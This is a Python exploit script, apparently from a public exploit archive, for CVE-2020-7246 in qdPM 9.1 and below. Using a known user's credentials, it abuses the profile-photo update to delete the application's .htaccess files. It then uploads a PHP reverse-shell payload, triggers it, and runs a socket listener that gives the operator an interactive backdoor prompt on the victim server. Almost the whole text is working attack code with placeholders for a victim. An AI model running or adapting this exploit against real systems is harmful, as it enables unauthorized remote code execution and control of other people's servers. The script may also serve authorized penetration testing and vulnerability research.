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qdPM < 9.1 - Remote Code Execution Exploit
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#!/usr/bin/python #------------------------------------------------------------------------------------- # Title: qdPM Webshell Upload + RCE Exploit (qdPMv9.1 and below) (CVE-2020-7246) # Author: Tobin Shields (@TobinShields) # # Description: This is an exploit to automatically upload a PHP web shell to # the qdPM platform via the "upload a profile photo" feature. # This method also bypasses the fix put into place from a previous CVE # # Usage: In order to leverage this exploit, you must know the credentials of # at least one user. Then, you should modify the values highlighted below. # You will also need a .php web shell payload to upload. This exploit # was built and tested using the PHP script built by pentestmonkey: # https://github.com/pentestmonkey/php-reverse-shell #------------------------------------------------------------------------------------- # Imports from requests import Session from bs4 import BeautifulSoup as bs import socket from multiprocessing import Process import time # CHANGE THESE VALUES----------------------------------------------------------------- login_url = "http://[victim_domain]/path/to/qdPM/index.php/login" username = "jsmith@example.com" password = "Pa$$w0rd" payload = "/path/to/payload.php" listner_port = 1234 # This should match your PHP payload connection_delay = 2 # Increase this value if you have a slow connection and are experiencing issues # ------------------------------------------------------------------------------------ # Build the myAccout URL from the provided URL myAccount_url = login_url.replace("login", "myAccount") # PROGRAM FUNCTIONS ----------------------------------------------------------------- # Utility function for anytime a page needs to be requested and parsed via bs4 def requestAndSoupify(url): page = s.get(url) soup = bs(page.content, "html.parser") return soup # Function to log into the application, and supply the correct username/password def login(url): # Soupify the login page login_page = requestAndSoupify(url) # Grab the csrf token token = login_page.find("input", {"name": "login[_csrf_token]"})["value"] # Build the POST values login_data = { "login[email]": username, "login[password]": password, "login[_csrf_token]": token } # Send the login request s.post(login_url, login_data) # Function to get the base values for making a POST request from the myAccount page def getPOSTValues(): myAccount_soup = requestAndSoupify(myAccount_url) # Search for the 'base' POST data needed for any requests u_id = myAccount_soup.find("input", {"name": "users[id]"})["value"] token = myAccount_soup.find("input", {"name": "users[_csrf_token]"})["value"] u_name = myAccount_soup.find("input", {"name": "users[name]"})["value"] u_email = myAccount_soup.find("input", {"name": "users[email]"})["value"] # Populate the POST data object post_data = { "users[id]": u_id, "users[_csrf_token]": token, "users[name]": u_name, "users[email]": u_email, "users[culture]": "en" # Keep the language English--change this for your victim locale } return post_data # Function to remove the a file from the server by exploiting the CVE def removeFile(file_to_remove): # Get base POST data post_data = getPOSTValues() # Add the POST data to remove a file post_data["users[photo_preview]"] = file_to_remove post_data["users[remove_photo]"] = 1 # Send the POST request to the /update page s.post(myAccount_url + "/update", post_data) # Print update to user print("Removing " + file_to_remove) # Sleep to account for slow connections time.sleep(connection_delay) # Function to upload the payload to the server def uploadPayload(payload): # Get payload name from supplied URI payload_name = payload.rsplit('/', 1)[1] # Request page and get base POST files post_data = getPOSTValues() # Build correct payload POST header by dumping the contents payload_file = {"users[photo]": open(payload, 'rb')} # Send POST request with base data + file s.post(myAccount_url + "/update", post_data, files=payload_file) # Print update to user print("Uploading " + payload_name) # Sleep for slow connections time.sleep(connection_delay) # A Function to find the name of the newly uploaded payload # NOTE: We have to do this because qdPM adds a random number to the uploaded file # EX: webshell.php becomes 1584009-webshell.php def getPayloadURL(): myAccount_soup = requestAndSoupify(myAccount_url) payloadURL = myAccount_soup.find("img", {"class": "user-photo"})["src"] return payloadURL # Function to handle creating the webshell listener and issue commands to the victim def createBackdoorListener(): # Set up the listening socket on localhost server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) host = "0.0.0.0" port = listner_port # Specified at the start of this script by user server_socket.bind((host, port)) server_socket.listen(2) victim, address = server_socket.accept() # Print update to user once the connection is made print("Received connection from: " + str(address)) # Simulate a terminal and build a pusdo-prompt using the victem IP prompt = "backdoor@" + str(address[0]) + ":~$ " # Grab the first response from the victim--this is usually OS info response = victim.recv(1024).decode('utf-8') print(response) print("\nType 'exit' at any time to close the connection") # Maintain the connection and send data back and forth while True: # Grab the command from the user command = input(prompt) # If they type "exit" then close the socket if 'exit' in command: victim.close() server_socket.close() print("Disconnecting, please wait...") break # For all other commands provided else: # Encode the command to be properly sent via the socket & send the command command = str.encode(command + "\n") victim.send(command) # Grab the response to the command and decode it response = victim.recv(1024).decode('utf-8') # For some odd reason you have to hit "enter" after sending the command to receive the output # TODO: Fix this so it works on a single send? Although it might just be the PHP webshell victim.send(str.encode("\n")) response = victim.recv(1024).decode('utf-8') # If a command returns nothing (i.e. a 'cd' command, it prints a "$" # This is a confusing output so it will omit this output if response.strip() != "$": print(response) # Trigger the PHP to run by making a page request def triggerShell(s, payloadURL): pageReq = s.get(payloadURL) # MAIN FUNCTION ---------------------------------------------------------------------- # The main function of this program establishes a unique session to issue the various POST requests with Session() as s: # Login as know user login(login_url) # Remove Files # You may need to modify this list if you suspect that there are more .htaccess files # However, the default qdPM installation just had these two files_to_remove = [".htaccess", "../.htaccess"] for f in files_to_remove: removeFile(f) # Upload payload uploadPayload(payload) # Get the payload URL payloadURL = getPayloadURL() # Start a thread to trigger the script with a web request process = Process(target=triggerShell, args=(s, payloadURL)) process.start() # Create the backdoor listener and wait for the above request to trigger createBackdoorListener() # 0day.today [2024-12-25] #